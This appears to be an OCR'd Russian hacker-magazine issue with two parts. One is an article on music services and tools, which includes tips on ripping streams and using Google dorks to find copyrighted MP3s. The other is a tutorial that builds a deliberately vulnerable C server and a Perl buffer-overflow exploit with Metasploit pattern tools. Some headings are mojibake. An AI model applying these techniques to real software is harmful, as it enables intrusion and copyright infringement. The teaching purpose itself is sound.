Last.fm. Этот сервис начинался как проект 
аудиоскробблера и лишь потом перерос в 
самое известное онлайн-радио. Понятие 
скробблинг подразумевает, что пользователь 
передает на специальный сервер всю-всю 
статистику о прослушиваемых композици-
ях: сколько раз и что слушал. В результате 
получается огромная база, предоставляющая 
возможность строить цепочки «похожести» 
композиций. В этом-то и заключается глав-
ный плюс таких сервисов, как Last.fm: задай 
ему направление, скажем, рок, и исполни-
теля, например, Beatles — и он не будет до 
умопомрачения проигрывать только Beatles, 
а предложит тысячи исполнителей и компо-
зиций подходящей направленности. Лучшего 
способа открыть для себя новых исполните-
лей, по-моему, не существует!

×ÒÎ ÒÀÊÎÅ ÑÊÐÎÁÁËÈÍÃ?
На основе анализа статистики прослушива-
ний пользователям индивидуально подби-

раются и демонстрируются: рекомендуемые 
сайтом к прослушиванию музыкальные треки, 
популярные у схожих по вкусам слушателей 
(степень «похожести» при подборе можно 
регулировать). А также — персональные 
страницы участников с похожими вкусами 
(эти пользователи считаются «соседями» 
— англ. Neighbours). Именно поэтому скроб-
блинг интересно использовать еще и для 
того, чтобы находить что-то новое для себя. 
Включить его несложно. При прослушива-
нии радио через онлайн-сервис статистика 
ведется автоматически. Но чтобы собирать 
статистику с обычных плееров вроде Winamp, 
необходимо скачать и установить в систему 
скробблер (last.fm/download). После установ-
ки он проверит, какие проигрыватели есть 
в системе, и предложит установить плагины 
для foobar2000, iTunes, Winamp, Windows 
Media player. Впрочем, это не значит, что 
скробблинг доступен только в этих плеерах. 
Например, Songbird не зря славится движком 
от Firefox'а, а потому расширяем за счет пла-
гинов, в том числе и для поддержки переда-
чи информации на скробблинг-сервер. Сами 
проигрыватели или плееры вроде iPod ведут 

внутреннюю статистику по воспроизведению 
треков, которую скробблер предложит загру-
зить на сервер. Некоторые любят помериться 
показателем «количество воспроизведенных 
треков»: при должном желании можно поста-
раться оставить хвастунов не у дел, подпра-
вив статистику в локальном плеере (простой 
вариант) или в момент отправки на сервер 
(вероятно, вариант посложнее). 

ÀËÜÒÅÐÍÀÒÈÂÛ LAST.FM
Все бы замечательно, но с марта этого года 
сервис Last.fm стал платным. Использовать 
скробблер, общаться с людьми, закачи-
вать обложки альбомов и информацию об 
исполнителе по-прежнему можно free, а вот 
за прослушивание треков — придется пла-
тить денежку. Кроме тех, кто живет в США, 
Германии... и злыдней, которые используют 
прокси из этих стран. Я для себя давно 
решил, что $3 — а именно столько стоит 
месячная подписка на Last.fm — пустяковые 
деньги за качественный сервис. С другой 
стороны, нетрудно найти бесплатную альтер-
нативу. Стоит обратить внимание на следую-
щие проекты: www.imeem.com, www.deezer.
com, listen.grooveshark.com, www.playlist.com, 

ГРАББИМ МУЗЫКУ С LAST.FM 
ПРЯМИКОМ В MP3, ПРОПИСЫВАЯ 
ТЕГИ И ЗАКАЧИВАЯ ОБЛОЖКИ 
АЛЬБОМОВ

ИСПОЛЬЗУЯ СПЕЦИАЛЬНЫЕ МО-
ДИФИКАТОРЫ, ИСКАТЬ МУЗЫКУ 
МОЖНО ВПОЛНЕ УСПЕШНО И 
ЧЕРЕЗ GOOGLE
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Minilyrics (www.crintsoft.com). Если хочешь, чтобы с любой 
проигрываемой в плеере песней отображались ее слова, эта 
программа для тебя. Утилита совместима с 21 разными плее-
рами и сама подкачивает лирику из инета.
Random MixTape Maker (www.donationcoder.com/Software/
Seedling/MixTape). Когда нужно собрать плейлист из случайных 
композиций, лучше всего делать это с помощью MixTape Maker'а. 
Задай общую продолжительность или, например, объем в 700 Мб, 
чтобы влезло на диск, и он сам подберет композиции.

Floola (www.floola.com) и YamiIpod (www.yamipod.com). 
Альтернативные iTunes'у программы для управления iPod'ом.
RightMark Audio Analyzer (audio.rightmark.org). Этот бенчмарк 
для звуковой карты проигрывает десяток тестовых звуковых 
сигналов, записывает и далее сравнивает с оригиналом, 
чтобы сказать, насколько плоха твоя звуковуха.
Ziepod+ (www.ziepod.com). Подкаст-аггрегатор выгодно отли-
чается от многих других программ хотя бы тем, что может 
автоматически закачивать подкасты на твой плеер.

ПОЛЕЗНЫЕ ПРОГРАММЫ В ХОЗЯЙСТВЕ
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AOL RADIO: ДЕСЯТКИ КАНАЛОВ 
С МУЗЫКАЛЬНЫМИ НАПРАВЛЕ-
НИЯМИ НА ЛЮБОЙ ВКУС

СКРОББЛЕР И СТАНДАРТНЫЙ 
ПЛЕЕР ДЛЯ LAST.FM

ЗАПИСЬ ВСЕГО АУДИОПОТОКА 
С РАЗБИЕНИЕМ НА ТРЕКИ 

ИЩЕМ МУЗЫКУ ВКОНТАКТЕ
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www.grooveshark.com, www.mixtape.me, а также не рабо-
тающие без ухищрений с прокси www.spotify.com и www.
pandora.com.

ÇÀÏÈÑÜ ÌÓÇÛÊÈ
Благодаря Last.fm, у меня исчезла музыка с компа, но 
вот с плеером и магнитолой такой фокус не выйдет. 
Помнишь, как раньше — слушаешь на приемнике 
радио и записываешь любимые песни на кассету. 
Так и теперь, только вместо FM — радио цифровое. 
Сложно удержаться и не сохранить себе на плеер или 
диск любимый трек. Например, чтобы послушать в 
машине. Одной из первых утилит для записи треков, 
проигрываемых в текущий момент на Last.fm, Pandora 
и других аналогичных сервисах, была Free music zilla 
(www.freemusiczilla.com), которая интегрировалась с 
браузером. Но у этой тулзы был неоспоримый недо-
статок — каждый трек приходилось сохранять вручную. 
Позднее для Last.fm энтузиасты разработали продвину-
тые утилиты вроде LastSharp (lastsharp.en.softonic.com) 
и TheLastRipper (thelastripper.com), предназначенные 
для автоматического граббинга музыки с онлайн-
станции. Сохранялись не только треки в MP3, но и теги, 
и обложка альбома — надо лишь указать работающий 
аккаунт Last.fm. Самым же универсальным сред-
ством для записи MP3, которому вообще все равно, 
откуда воспроизводится музыка, является программа 
Streaming Audio Recorder (www.wondershare.com). Для 
захвата музыки в систему устанавливается виртуальная 
звуковая карта, пропускающая весь воспроизводимый 
поток через себя, записывая его. Прога определяет 
паузы между треками и таким образом нарезает запись 
на разные файлы. Досада в том, что программа рас-
пространяется на платной основе. В качестве бесплат-
ной альтернативы можно взять известный звуковой 
редактор Audacity (audacity.sourceforge.net), который 
также записывает весь поток в файл, а отсутствующую 
функцию «авто-нарезки» файлов компенсировать с 
помощью mp3DirectCut (mpesch3.de1.cc). Функция авто-
матического распознавания тишины отлично разрежет 
многочасовую запись на отдельные треки.
Я же всегда поступал по-другому, устанавливая для 
своего плеера foobar2000 (www.foobar2000.org) плагин 
foo_lastfm_radi. Имея возможность управлять прослуши-
ванием радио и поиском прямо из любимого плеера, и, 
к тому же, тут же осуществлять запись в нужную папку, 
— я считаю это одним из самых удобных вариантов. 
Установил еще плагин — и уже слушаю ShotCast-радио, 
одновременно записывая треки в отдельные папочки по 
трекам.

ÃÄÅ ÍÀÉÒÈ ÌÓÇÛÊÓ?
И все-таки, на записях с радио далеко не уедешь. Как 
найти треки полюбившегося исполнителя (Last.fm, при-
вет!), кроме как в онлайн-магазине? Конечно, мы не 
берем в расчет закачку файлов с варезных портов и тор-
рентов — в конце концов, это противозаконно. Поэтому 
приведу здесь несколько других ухищрений пользовате-
лей, но и стоит иметь в виду, что правообладатели едва 
ли будут рады их использованию.
1. Google. Раз уж говорят, что через Гугл можно найти все, 
отчего ж не использовать его для поиска нужного трека. 
Умельцы давно поняли, что запросы аля «крутая песня в 
mp3» стоит оставить ушастым пользователям, а поэтому 
применяют всю силу языка запросов поисковика. Особые 
успехи достигаются, когда поиск осуществляется по 
листингам открытых директорий, то есть папок, в которых 
нет htm-документов для отображения, но навалена куча 
файлов. Сами листинги можно искать по ключевым сло-
вам «index of», «last modified», «parent of» в названии (тег 
<title>) документа. Остается лишь задать наличие на стра-
нице одного из музыкальных расширений (mp3|wma|ogg) 
и исключить из результатов поиска все динамические 
и статические страницы (нам нужны только листинги, 
составленные веб-сервером). В конечном итоге запрос 
будет выглядеть примерно так:

intitle:index.of +" last modified"  +" 

parent directory"  +(mp3|wma|ogg) 

+"%Íàçâàíèå èñïîëíèòåëÿ%" -htm -html -php 

-asp

Существует даже сервис www.g2p.org, который поможет 
составить правильный запрос.
2. По Rapidshare и другим файлообменникам.
Сейчас мало кто решается размещать на своих серверах 
большие файлы и вообще, все, что генерирует боль-
шой трафик — а музыку, само собой, качают ого-го-го. 
Вместо этого файлы распространяются через p2p-сети 
и, в особенности, torrent'ы и активно выкладываются на 
различных файлообменных сервисах, подкармливая их 
владельцев, зарабатывающих большие деньги на прода-
же аккаунтов, позволяющих скачивать файлы без ограни-
чений. А раз уж на файлообменниках так много добра, то 
почему не поискать там то, что нужно. Правильные ребята 
давно сварганили специальные сервисы для поиска 
файлов по Rapidshare.com, Megaupload.com и миллиону 
других сервисов. Их очень много — достаточно ввести в 
Гугле «rapidshare search» и удивиться результату. Одним 
из первых в списке результатов и по-настоящему рабо-
тающим ресурсом является rapidlibrary.com.

• Едва ли кто-то 
незнаком с тем, что 
уровень звука у раз-
ных mp3-композиций 
сильно различает-
ся. Когда одну еле 
слышно, другая 
при той же самой 
громкости начи-
нает орать так, что 
мало не покажется. 
Выровнять уровень 
быстро сможет 
бесплатная утилита 
MP3Gain (mp3gain.
sourceforge.net).

• Если увидишь му-
зыку в формате FLAC, 
не пугайся. Это Free 
Lossless Audio Codec, 
то есть — свободный 
от потерь кодек, кото-
рый набирает боль-
шую популярность.  В 
отличие от кодеков с 
потерями Ogg Vorbis и 
MP3, FLAC не удаляет 
никакой информации 
из аудио-потока и 
подходит для прослу-
шивания музыки на 
высококачественной 
звуковоспроизводя-
щей аппаратуре.

info

INFO

Найти в инете упо-
мянутые утилиты 
несложно, но все 
разом лежат только 
в одном месте — на 
нашем DVD.

dvd

DVD

warning
Нелегальная закачка 
музыки, равно как ее 
распространение, 
— дело подсудное. 
Помни об этом!

WARNING
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3. «ВКонтакте» и других социальных сетях.
Сколько раз уже замечал, как у человека 
открыта вкладка «ВКонтакте», но он не рисует 
граффити на странице друзей и не просматри-
вает фотки. Нет, просто у него запущен плеер, 
проигрывающий огромное количество музыки, 
которую пользователи залили на серверы 
социальной сети. Пример характерен вовсе 
не для одного «ВКонтакте» — точно такая 
же ситуация и во многих других социальных 
сетях. Для поиска по базе социальных сетей 
существует немало онлайн-сервисов, но рабо-
тают они в последнее время крайне плохо 
— «ВКонтакте» банит за большое количество 
запросов. Но зато отдельные приложения, 
которые пользователь устанавливает себе 
на компьютер, работают «на ура». Одной из 
наиболее продвинутых программ является 
bitbucket.org/A2K/vplayer, которая ищет треки 
из «ВКонтакте», непрерывно воспроизводит, 
подкачивает из инета обложки альбомов, а 
также расширяется за счет плагинов.
4. Поисковые программы.
Musifire (http://code.google.com/p/musifire). 
Изначально это была простая программа 
на Flex/AIR, которая искала музыку на паре 
отличных ресурсов, собирала информацию 
о похожих песнях и исполнителях с Last.fm 
и составляла по ней плейлисты. Взявшись 
за новую версию программы, автор решил, 

что теперь у пользователя должна быть воз-
можность самому добавлять свои поисковые 
сайты; названия треков должны читаться 
из ID3-тегов до загрузки файлов, а также 
должен быть режим непрерывного радио, 
закладки любимых треков, ну и всякие штуки 
по мелочам. Главная фишка программы 
— умение искать по заданным пользовате-
лем сайтам. В данный момент реализован 
только custom-тип сайта — поиск по сайту с 
помощью сформированного пользователем 
регулярного выражения. Все это безобра-
зие работает на Adobe AIR, и это значит, что 
оно одинаково хорошо (и одинаково плохо) 
работает и под виндой, и под макосью, и под 
линуксом. В любом случае, даже «из короб-
ки» с Musifire можно найти очень и очень 
многое. Проверено лично.

×ÒÎ ÑÅÉ×ÀÑ ÈÃÐÀÅÒ?
В динамиках играет классная мелодия, 
хочется обязательно послушать ее еще раз, 
но... ты не знаешь, что это за композиция. 
Знакомая ситуация? Многие радиостанции 
сейчас даже предоставляют SMS-сервис: 
отправь сообщение с указанием времени и 
получишь в ответе название композиции. 
Мы ни за что платить не будем, а возьмем 
на заметку сайт www.moskva.fm, о котором 
уже когда-то рассказывали в нашей рубрике 

WWW2. Мощные серверы этой системы запи-
сывают «в цифру» эфир большинства сто-
личных радиостанций, так что всегда можно 
прослушать, что было в пятницу 16 октября в 
19-00. Но главная фишка в том, что для каж-
дой звучащей композиции осуществляется 
распознавание по огромной базе «музыкаль-
ных слепков». В результате, запомнив время, 
когда играла композиция, и радиостанцию, 
ты всегда сможешь узнать название, вос-
пользовавшись moskva.fm.
Впрочем, подобную «распознавалку» куда 
удобнее всегда иметь при себе. Именно 
поэтому обязательным Must-have для моего 
телефона стала прога Shazam iD (www.
shazam.com). Услышав классную мелодию 
из динамиков в кафе или магазине, я неред-
ко тянусь за телефоном, чтобы запустить 
«Шазам» и записать небольшой отрывок 
произведения. Дальше прога отправляет его 
на сервер, где производится идентификация, 
после чего отображает результат на экране. 
Название трека, исполнитель и обложка 
альбома — магическая штука, которая не 
перестает удивлять моих друзей и знакомых. 
Версия программы есть для платформы 
Symbian, iPhone, Google Android и Blackberry. 
На самом обычном телефоне (главное, чтобы 
у него была поддержка MIDP 2.0) запустится 
другая аналогичная программа, разработан-

УДАЛЯЕМ ДУПЫ ИЗ КОЛЛЕКЦИИ MP3-ШЕК
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ная Sony Erricsson — TrackID. Впрочем, даже 
если и она не заработает, существует еще 
один, последний вариант. Диктофон есть на 
любом телефоне, а это значит, что, записав 
отрывок композиции, можно скормить ее 
онлайн-сервису Audiotag.info или обычной 
виндовой программе Tunatic (www.wildbits.
com/tunatic).

ÊÀÊ ÍÀÂÅÑÒÈ ÏÎÐßÄÎÊ Â ÒÅÃÀÕ?
Интересно было бы собрать статистику со 
всех пользователей в России и вычислить 
среднюю величину MP3-шек, которые каж-
дый хранит на своем компе. Любопытные 
данные для звукозаписывающих компаний. 
:) По себе знаю — держать в порядке такое 
обилие музыки чрезвычайно сложно, и если 
поначалу еще предпринимаешь попытки 
сортировать файлы вручную, то через неко-
торое время приходит четкое осознание, 
что это дохлый номер. Отчасти выручают 
Tag&Rename (www.softpointer.com/tr.htm) и 
целая свора аналогичных программ, которые 
умеют переименовывать файлы File1.mp3, 
krutaya_melodia2.mp3, aaa.mp3 в членораз-
дельные названия с указанием исполнителя 
и трека, извлекая данные из тегов или же, 
напротив, заполняя информацию в idv1 и 
idv2, если та содержалась в названии файла. 
Причем, что важно, ни одна из известных 
мне программ не умеет автоматически рас-
познавать, в какую сторону осуществлять 
преобразование — а идея-то хорошая!
Лучиком света среди однообразных про-
грамм стоит MetatOGGer (www.luminescence-

software.org), которая умеет определять 
названия композиций на слух. С каждой 
композиции снимается слепок, который 
отправляется на сервер, где производится 
его идентификация. Эдакий акустический 
fingerprinting. Для большинства западных 
композиций система работает на ура: к 
счастью, используемая база MusicBrainz 
огромна. Также для каждой композиции 
можно закачать текст песни, воспользовав-
шись данными с lyricwiki.org. К тому же, про-
грамма может подтянуть из Сети огромную 
базу с тегами по исполнителям (в сжатом 
виде — около 200 Мб), которая может быть 
очень полезна при ручном заполнении тегов. 
Если это, конечно, потребуется, потому как 
MetatOGGer даже позволяет писать скрипты, 
максимально автоматизирующие процесс. 

ÊÀÊ ÓÄÀËÈÒÜ ÄÓÁËÈÊÀÒÛ?
Разгребая завалы музыки, несложно заме-
тить, что одна и та же композиция сначала 
встречается здесь, потом там, а затем 
оказывается еще в свежем сборнике, толь-
ко что слитом с торрентов. Большинство 
утилит, бьющих себя в грудь и обещающих 
удалить все дубликаты, способны разве что 
сравнить размер файла, его названия, а 
также теги, прописанные в idv3. Нет ничего 
удивительного, что эффективность такого 
подхода хромает — теги все оформляют 
по-разному, а два одинаково закодиро-
ванных файла — нынче большая редкость. 
Самый эффективный способ найти и уда-
лить дубликаты — опять же, проверить их 

«на слух». У программы Similarity (www.
music-similarity.com) как раз есть музы-
кальный талант. В проге реализовано 
несколько способов поиска одинаковых 
композиций и основным, безусловно, 
является поиск по содержимому. Впрочем, 
даже если взять поиск дупов по тегам, то и 
здесь есть, где разгуляться. Задав уровень 
чувствительности, можно найти прибли-
зительно похожие теги — на случай, если 
кто-то где-то сделает ошибку, перепутает 
местами название и исполнителя и т.д. 
Расправиться с дубликатами в плейлисте 
позволяет также beaTunes (www.beatunes.
com). Эта замечательная программа, кста-
ти говоря, также выполняет акустический 
fingerprinting и помогает составлять плей-
листы по конкретным жанрам.

À ÊÀÊÎÉ ÏËÅÅÐ ËÓ×ØÅ? 
Вопрос равнозначен тому, что спросить, какая 
из систем круче всех: Linux, MacOS или Винда? 
Сколько людей — столько и мнений. Многие 
пользователи тукса считают, что лучше Amarok, 
который никак не портируют под другие систе-
мы, придумать что-то сложно. Большинство 
виндовых юзеров используют Winamp, причем 
в большинстве своем — по старой привычке, 
а вовсе не потому, что для этого проигрыва-
теля разработаны сотни профессиональных 
плагинов. Расширяемостью может похвастать 
и foobar2000, а также Songbird. Если нужен 
минимализм, то сложно найти что-то круче 1by1 
плеера. Словом, все зависит от предпочтений и 
конкретной ситуации. z
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Сплоит — что же это за зверь такой дико-
винный? По сути, это программа, написанная 
с целью использования уязвимости — в ОС, 
обычной программе или веб-приложении. 
Он может представлять из себя что угодно — 
программку на С/С++ (Delphi, Asm), скриптик 
на Perl или PHP, или даже находиться внутри 
картинки, но главное, что он влияет на уяз-
вимую систему и заставляет ее работать так, 
как она не запрограммирована. Удаленный 
эксплоит работает через сеть и использует 

уязвимость без какого-либо предваритель-
ного доступа к уязвимой системе. Локальные 
же сплоиты запускаются непосредственно в 
уязвимой системе, требуя предварительного 
доступа к ней  и обычно используются для 
повышения привилегий. 
Сплоиты можно разделить по типу исполь-
зуемой уязвимости: переполнение буфера, 
SQL-инъекция, межсайтовый скриптинг и т.д. 
Короче говоря, разновидностей бывает много 
и каждая из них отличается как техникой 

исполнения, так и своей целью. Но есть в них 
одно общее — все они содержат код, выпол-
няющий задуманные хакером действия. Этот 
код называют: байт-код, шелл-код (так как 
очень часто он предоставляет доступ к шеллу 
на удаленной системе), полезной (боевой) 
нагрузкой (payload). Написание такого кода — 
целое искусство. Если хочешь разобраться в 
этой области, советую начать со статьи Step'а 
«Откуда берутся шелл-коды» (PDF прилага-
ется на диске). Мы же рассмотрим процесс 

XÀÊÅÐ  11  /131/  09  031

ÎÒÊÓÄÀ ÁÅÐÓÒÑß ÑÏËÎÈÒÛ? ÇÀÄÓÌÛÂÀËÑß ËÈ ÒÛ, ÊÀÊÈÌ ÎÁÐÀÇÎÌ ÒÓÑÊËÀß ÍÎÂÎÑÒÜ ÈÇ 

ÁÀÃÒÐÀÊÀ ÏÐÅÂÐÀÙÀÅÒÑß Â ÐÅÀËÜÍÎ ÐÀÁÎÒÀÞÙÓÞ ÎÒÌÛ×ÊÓ? ÊÀÊÈÌ ÎÁÐÀÇÎÌ ÄÂÓÌß 

ÄÅÑßÒÊÀÌ ÑÒÐÎ×ÅÊ ÊÎÄÀ ÓÄÀÅÒÑß ÏÎËÓ×ÈÒÜ ØÅËË ÍÀ ÓÄÀËÅÍÍÎÌ ÑÅÐÂÅÐÅ? ÑÅÃÎÄÍß 

ÌÛ ÏÎÑÅÒÈÌ ÔÀÁÐÈÊÓ ÑÏËÎÈÒÎÂ È ÂÎ ÂÑÅÕ ÏÎÄÐÎÁÍÎÑÒßÕ ÏÎÑÌÎÒÐÈÌ, ÊÀÊ ÈÇÃÎÒÀÂ-

ËÈÂÀÅÒÑß ÊÀ×ÅÑÒÂÅÍÍÎÅ ÈÇÄÅËÈÅ.

Ó×ÈÌÑß  ÏÈÑÀÒÜ ÝÊÑÏËÎÈÒÛ 
ÄËß METASPLOIT FRAMEWORK

ÔÀÁÐÈÊÀ 
ÑÏËÎÈÒÎÂ



PC_ZONE

XÀÊÅÐ  11  /131/  09

написания эксплоита, а шелл-код возьмем уже готовый из 
пакета Metasploit.

ÏÈØÅÌ ÆÅÐÒÂÓ ÄËß ÝÊÑÏÅÐÈÌÅÍÒÎÂ
Убежден, что нет более наглядного способа продемон-
стрировать создание боевого кода, чем на конкретном 
примере. Поэтому начнем с игры в горе-программистов 
и наваяем небольшое серверное приложение, оставив в 
нем критическую уязвимость, которую и будем эксплуа-
тировать. Приложение будет принимать подключения на 
определенном порту: как только придет некоторый пакет, 
будет вызываться функция, выполняющая некоторые дей-
ствия с полученными данными, после чего приложение 
завершается. Скелет приложения приведен ниже, а пол-
ный исходник ты найдешь на диске:

void pr( char *str)

{

   char buf[500]="";

   strcpy(buf,str); // âîò è ñàìà óÿçâè-

ìîñòü, ñîáñòâåííîé ïåðñîíîé

}

int main(int argc, char **argv)

{

  ...

  int bytesRecv = SOCKET_ERROR;

  while( bytesRecv == SOCKET_ERROR )

  {

   //Ïîëó÷àåì äàííûå, îòïðàâëåííûå êëèåíòîì

    bytesRecv = recv( clientSocket, 

      Message, 5000, 0 );

    if ( bytesRecv == 0 || 

       bytesRecv == WSAECONNRESET )

    {

      printf( "\nConnection Closed.\n");

      break;

    }

  }

  pr(Message); // âûçûâàåì ôóíêöèþ, êîòî-

ðàÿ íå ïðîâåðÿåò äëèíó âõîäíîãî áóôåðà ïðè 

êîïèðîâàíèè

  closesocket(clientSocket);

  closesocket(serverSocket);

  WSACleanup();

  return 0;

}

Внимательно взглянув на код, можно увидеть, что 
функция void pr(char *str) не проверяет длину входно-
го буфера и, если передать ей в качестве параметра 
строку длиной более 500 символов — получится клас-
сическое переполнение буфера. Совсем кратко о том, 
как это работает (тут придется вспомнить, как работает 
стек):

PUSH EDI // êëàäåì â ñòåê óêàçàòåëü íà 

áóôåð, êîòîðûé áóäåì êîïèðîâàòü (*str)

CALL Server._pr // âûçûâàåì ôóíêöèþ pf

После вызова CALL стек будет выглядеть следующим 
образом:

...

buf — ëîêàëüíàÿ ïåðåìåííàÿ, êóäà áóäåì 

êîïèðîâàòü âõîäÿùèå äàííûå

ebp — ñîõðàíåííûé óêàçàòåëü êàäðà ñòåêà

ret — àäðåñ âîçâðàòà

*str — óêàçàòåëü íà âõîäÿùèé áóôåð

...

Под переменную buf у нас выделено 500 байт. А что будет, 
если скопировать туда строку длиннее?

[buf][EBP][ret][*str]

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Как видишь, такая строка затрет EBP, адрес возврата и 
все, что расположено ниже по стеку. Т.е. можно перезапи-
сать адрес возврата нужным нам значением и тогда при 
выходе из функции мы можем вернуться, куда захотим, 
например, на наш шелл-код.
Тут, правда, стоит сделать поправку — уязвимости может 
и не быть. В смысле, от такой критической ошибки, 
конечно, никуда не деться, и программа в любом слу-
чае будет падать, однако использовать переполнение в 
сплоите может не получиться. Виной тому — стековые 
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СТЕК ДО ВЫЗОВА SRTCPY (ВЫДЕЛЕНЫ 
[EBP][RET][СЛЕДУЮЩИЙ КАДР СТЕКА])

• Подробная инфор-
мация об Metasploit 
API: www.metasploit.
com/documents/api/
msfcore/index.html.
• Блог Metasploit 
Framework:
blog.metasploit.com.
• Статья по доработке 
эксплоита:
en.wikibooks.org/
wiki/Metasploit/
WritingWindowsExploit.
• Видео, показы-
вающее, как создать 
Portable-версию 
Metasploit для разме-
щения на флешке:
www.wonderhowto.
com/how-to/video/
how-to-create-
a-metasploit-
meterpreter-
executable-file-263017.
• Старые (и соответ-
ственно уязвимые) 
версии программ 
всегда можно найти 
на oldapps.com 
и oldversion.com.

info

INFO

МОДИФИЦИРОВАННЫЙ СПЛОИТ С ПОЛУЧЕННОЙ РАНЕЕ 
СТРОКОЙ (ОБРАЩАЕМ ВНИМАНИЕ НА EIP)

СТЕК ПОСЛЕ ВЫЗОВА STRCPY (ВЫДЕЛЕНЫ 
[EBP][RET][СЛЕДУЮЩИЙ КАДР СТЕКА])
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куки — специальная защита, включаемая 
в бинарник компилятором во время сборки 
приложения. Существует несколько спосо-
бов обхода такой защиты (подробнее — во 
врезке), но сейчас для простоты примера 
представим, что стековые кукисы отключены. 
Поэтому либо отключаем поддержку кукисов 
во время компиляции в Visual Studio, либо 
используем компилятор, который вообще не 
умеет встраивать подобную защиту. Второй 
вариант, как мне кажется, проще — потому 
как можно использовать бесплатный ком-
пилятор lccwin32 (www.cs.virginia.edu/~lcc-
win32). Итак, компилируем и запускаем. 

ÓÁÈÒÜ ÍÀÏÎÂÀË!
Сервер работает ровно до тех пор, пока 
ему не придет строка, состоящая более чем 
из 500 символов. В противном случае — 
непременно вылет приложения. Набросаем 
небольшой скриптик на Perl'е для эксплуата-
ции переполнения буфера:

use strict;

use Socket;

my $junk = "\x41" x1000;

# àäðåñ è ïîðò óçÿâèìîãî äåìîíà

my $host = shift || 'localhost';

my $port = shift || 200;

my $proto = getprotobyname('tcp');

# îñóùåñòâëÿåì ïðèâÿçêè

my $iaddr = inet_aton($host);

my $paddr = sockaddr_in($port, 

$iaddr);

print "[+] Setting up socket\n";

# ñîçäàåì ñîêåò è ïðèñîåäèíÿåìñÿ 

ê ïîðòó

socket(SOCKET, PF_INET, 

  SOCK_STREAM, $proto) 

  or die "socket: $!";

print "[+] Connecting to $host on 

port $port\n";

connect(SOCKET, $paddr) or die 

"connect: $!";

print "[+] Sending payload\n";

print SOCKET $junk."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";

Скрипт просто соединяется с сервером и 
посылает ему строку символов «А» длиной 

1000 ($junk = "\x41" x1000). Чтобы наглядно 
посмотреть, что в момент получения такой 
строки происходит внутри нашего сервера, 
запускаем его под отладчиком — идеально, 
под OllyDbg (www.ollydbg.de). Выбираем 
наш бинарник через меню «File  Open» и 
отдаем команду на выполнение: «Debug  
Restart  Run». Далее запускаем простень-
кий сплоит, который, как и следовало ожи-
дать, убивает наш сервер наповал. Смотрим 
в отладчик — адрес возврата из функции pf 
(и, как следствие, регистр EIP, указываю-
щий на следующую инструкцию) оказыва-
ется перезаписанным значением 41414141 
(как ты помнишь, 0х41 — это символ А). 
Но на момент, когда мы будем глядеть в 
отладчик, уже произойдет возврат по адресу 
41414141, и мы будем видеть только EIP. Для 
успешной эксплуатации уязвимости нужно 
построить ядовитую строку так, чтобы она 
переписывала адрес возврата нужным нам 
значением  — адресом нашего шелл-кода. 
Поэтому сначала необходимо выяснить, 
какие именно символы строки затирают 
адрес возврата. В этом поможет одна из 
утилит Metasploit Framework. Но перед этим 
предлагаю тебе быстренько ознакомиться с 
фреймворком.

ÈÑÏÎËÜÇÓÅÌ METASPLOIT 
ÄËß ÐÀÇÐÀÁÎÒÊÈ ÝÊÑÏËÎÈÒÀ
Символов в передаваемой строке 1000, 
все они одинаковые, поэтому неудиви-
тельно, что в строке возврата появляется 
значение, состоящее из буквы A. Но если 
составить строку, которая будет состоять 
из неповторяющихся буквенно-числовых 
строк, то легко определить позицию тех 
символов, которые попадают в адрес воз-
врата. Генерацией такой строки как раз 

XÀÊÅÐ  11  /131/  09

СГЕНЕРИРОВАННЫЙ METASPLOIT БОЕВОЙ ШЕЛЛКОД

ГЕНЕРИРУЕМ СТРОКУ, ЧТОБЫ 
ОПРЕДЕЛИТЬ, КАКИЕ СИМВОЛЫ 
ЗАТЕРАЮТ АДРЕС ВОЗВРАТА

СТРУКТУРА METASPLOIT 
FRAMEWORK



PC_ZONE

XÀÊÅÐ  11  /131/  09

и занимается утилита, входящая в состав Metasploit,  
pattern_gererate. В качестве единственного обяза-
тельного параметра передается длина строки. Итак, 
создадим буфер длиной в 1000 символов для даль-
нейшего использования в нашем сплоите:

msf > ruby pattern_create.rb 1000

Aa0Aa1Aa2Aa3 [967 ñèìâîëîâ âûðåçàíî çëûì 

ðåäàêòîðîì] Bh0Bh1Bh2Bh

А в скрипте заменим значение переменной $junk на выше-
приведенную последовательность. Заново запускаем наш 
уязвимый сервер, подключаемся к нему в OllyDbg и запуска-
ем эксплоит. Сервер опять падает. Что ж, давай взглянем, 
что на этот раз оказалось в регистре EIP? EIP = 41387141. 
Чтобы определить смещение символов в строке, используем 
другую утилиту из набора Metasploit — pattern_offset, пере-
давая в параметрах искомую величину и длину буфера:

my $totalbuffer = 1000;

# äëèíà áóôåðà

my $junk = "\x41" x 504;

# ïåðâûå 504 ñèìâîëà "À"

my $eipoverwrite = "\x42" x 4; 

# 4 ñèìâîëà "Â", êîòîðûå ïåðåçàïèøóò àäðåñ 

âîçâðàòà

my $junk2 = "\x43" x ($totalbuffer-

length($junk.$eipoverwrite));

# îñòàâøååñÿ ìåñòî â áóôåðå çàïîëíÿåì ñèì-

âîëàìè "Ñ"

И заменяем строчку кода, отправляющую сформирован-
ную строку в сокет, на:

print SOCKET $junk.$eipoverwrite.$junk2."\

n";

Чтобы проверить, запускаем эксплоит и смотрим в отлад-
чик. Ага, так и есть: EIP = 42424242. Увы, тысячи симво-
лов слишком мало, чтобы уместить шелл-код, поэтому 
попробуем увеличить длину ядовитой строки и посмо-
треть, как будет работать сплоит. Длину выбираем экспе-
риментально: методом проб и ошибок. После увеличения 
длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, 
что сплоит по-прежнему работает так же успешно. А это 
значит, мы имеем 2000-4-504=1492 байта для размещения 
нашего шелл-кода. Все это прекрасно, но как передать 
управление шелл-коду — ведь его адреса мы не знаем! 
Давай посмотрим, что у нас происходит со стеком в момент 
переполнения. Поставим в отладчике бряк на функцию 
strcpy. bpx strcpy не работает — значит, поставим бряк 
вручную. Как видно из исходников, вызов strcpy проис-
ходит в функции pf, которая вызывается непосредственно 
после цикла while() в main. В цикле у нас происходит 
вызов recv: попробуем поставить бряк на него с помощью 
команды bpx recv. Ага, сработало! Теперь смотрим чуть 
ниже цикла и видим вызов call server._pf. Становимся на 
этой инструкции, нажимаем <Enter> и попадаем в функцию 
pf. В ней есть всего  один call — вызов strcpy. Он-то нам и 
нужен: переходим на него и нажимаем <F2> для установки 
брэйкпоинта. 

0040130B:  CALL 00404351

Далее запускаем эксплоит. Бряк сработал, — смотрим, 
что в стеке (в olly стек показывается в правом нижнем 
углу и имеет формат «адрес — значение — коммена-
